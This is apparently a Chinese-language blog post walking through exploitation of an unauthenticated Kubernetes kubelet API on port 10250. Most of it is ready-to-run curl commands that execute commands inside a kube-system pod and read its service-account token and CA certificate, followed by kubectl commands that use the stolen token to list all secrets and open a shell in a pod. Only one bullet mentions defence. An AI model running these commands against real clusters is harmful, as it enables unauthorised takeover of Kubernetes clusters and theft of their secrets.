Kubernetes未授权kubelet API 10250端口令牌窃取与kubectl接管技术分析

本文详细分析了Kubernetes环境中kubelet API 10250端口未授权访问漏洞的利用过程,包括容器内命令执行、服务账户令牌窃取以及通过kubectl工具实现集群权限提升的技术细节。

Kubernetes: 未授权kubelet API 10250端口令牌窃取与kubectl接管

kube-hunter扫描结果

漏洞列表

位置 类别 漏洞类型 描述 证据
1.2.3.4:10250 远程代码执行 容器内执行暴露 攻击者可在容器内执行任意命令
1.2.3.4:10250 远程代码执行 匿名认证 kubelet配置错误,可能允许对所有请求进行安全访问而无需身份验证

利用步骤

1. 获取运行中的Pod列表

1
curl -s https://k8-node:10250/runningpods/

2. 在Pod内执行命令

示例请求:

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"

3. 检查环境变量

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"

查找关键环境变量:

  • KUBLET_CERT
  • KUBLET_KEY
  • CA_CERT
  • KUBERNETES_PORT(如:tcp://10.10.10.10:443)
  • KUBERNETES_MASTER_NAME(如:10.11.12.13:443)

4. 检查挂载的密钥文件

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"

查找服务账户密钥挂载点:

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"

5. 提取令牌和证书

1
2
3
4
5
# 获取token
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# 获取ca.crt
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt"

6. 使用kubectl访问Kubernetes API

1
2
3
4
5
6
7
8
# 列出所有命名空间的Pod
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --all-namespaces

# 获取所有secret
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get secrets --all-namespaces

# 获取shell访问
kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- /bin/sh

7. 使用密钥文件访问(如果通过环境变量获取)

1
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces

技术要点

  • 漏洞根源:kubelet API 10250端口未配置身份验证
  • 攻击链:未授权访问 → 容器内命令执行 → 服务账户令牌窃取 → Kubernetes集群权限提升
  • 影响范围:可访问整个Kubernetes集群,包括敏感配置和密钥信息
  • 防御措施:正确配置kubelet认证,限制网络访问,定期安全审计

通过这种攻击方式,攻击者可以完全接管Kubernetes集群,获取敏感数据并进一步横向移动。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计